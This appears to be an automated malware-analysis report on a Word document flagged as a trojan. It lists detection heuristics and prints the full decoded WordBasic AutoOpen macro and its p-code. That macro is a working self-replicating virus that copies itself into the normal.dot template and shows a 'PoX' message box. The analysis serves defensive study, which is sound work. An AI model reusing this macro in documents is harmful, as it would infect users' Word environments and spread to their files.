MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains legacy WordBasic macros, specifically an AutoOpen macro, which is a known technique for malware propagation. The macro attempts to copy itself to the normal.dot template and displays a message box with the text ' May a PoX be upon you Sam I am '. This behavior suggests it's designed to infect the user's Word environment and potentially serve as a dropper or part of a larger attack. The ClamAV detection further confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Minimal-29 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Minimal-29
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2671 bytes |
SHA-256: cb1d1559fdcba893c497330740b8fd38c53b5739c4abb585f1151684d267e9a4 |
|||
|
Detection
ClamAV:
Doc.Trojan.Minimal-29
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim N$
Dim Msg$
Rem AutoOpen Macro
Dim wiz As Object: Set wiz = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs wiz
On Error GoTo -1: On Error GoTo PoX
If wiz.Format = 0 Then
wiz.Format = 1
N$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "normal.dot:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 4
WordBasic.FileSaveAs wiz
End If
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "normal.dot:AutoOpen", 4
Msg$ = Msg$ + " May a PoX be upon you Sam I am "
WordBasic.MsgBox Msg$, " POXARAMA"
PoX:
End Sub
' Processing file: /opt/analyzer/scan_staging/83d4a663bd8d4cddbbda308f4ef7d8a9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1876 bytes
' Line #0:
' Line #1:
' Line #2:
' FuncDefn (Public Sub MAIN())
' Line #3:
' Dim
' VarDefn N
' Line #4:
' Dim
' VarDefn Msg
' Line #5:
' Rem 0x000F " AutoOpen Macro"
' Line #6:
' Dim
' VarDefn wiz (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileSaveAs 0x0001
' Set wiz
' Line #7:
' Ld wiz
' Ld WordBasic
' MemLd CurValues
' ArgsMemCall FileSaveAs 0x0001
' Line #8:
' Line #9:
' OnError <crash>
' BoS 0x0000
' OnError PoX
' Line #10:
' Ld wiz
' MemLd Format$
' LitDI2 0x0000
' Eq
' IfBlock
' Line #11:
' LitDI2 0x0001
' Ld wiz
' MemSt Format$
' Line #12:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St N$
' Line #13:
' LitStr 0x0013 "normal.dot:AutoOpen"
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' LitStr 0x0009 ":AutoOpen"
' Add
' LitDI2 0x0004
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0003
' Line #14:
' Ld wiz
' Ld WordBasic
' ArgsMemCall FileSaveAs 0x0001
' Line #15:
' EndIfBlock
' Line #16:
' Line #17:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' LitStr 0x0009 ":AutoOpen"
' Add
' LitStr 0x0013 "normal.dot:AutoOpen"
' LitDI2 0x0004
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0003
' Line #18:
' Ld Msg$
' LitStr 0x0020 " May a PoX be upon you Sam I am "
' Add
' St Msg$
' Line #19:
' Ld Msg$
' LitStr 0x0017 " POXARAMA"
' Ld WordBasic
' ArgsMemCall MsgBox 0x0002
' Line #20:
' Label PoX
' Line #21:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.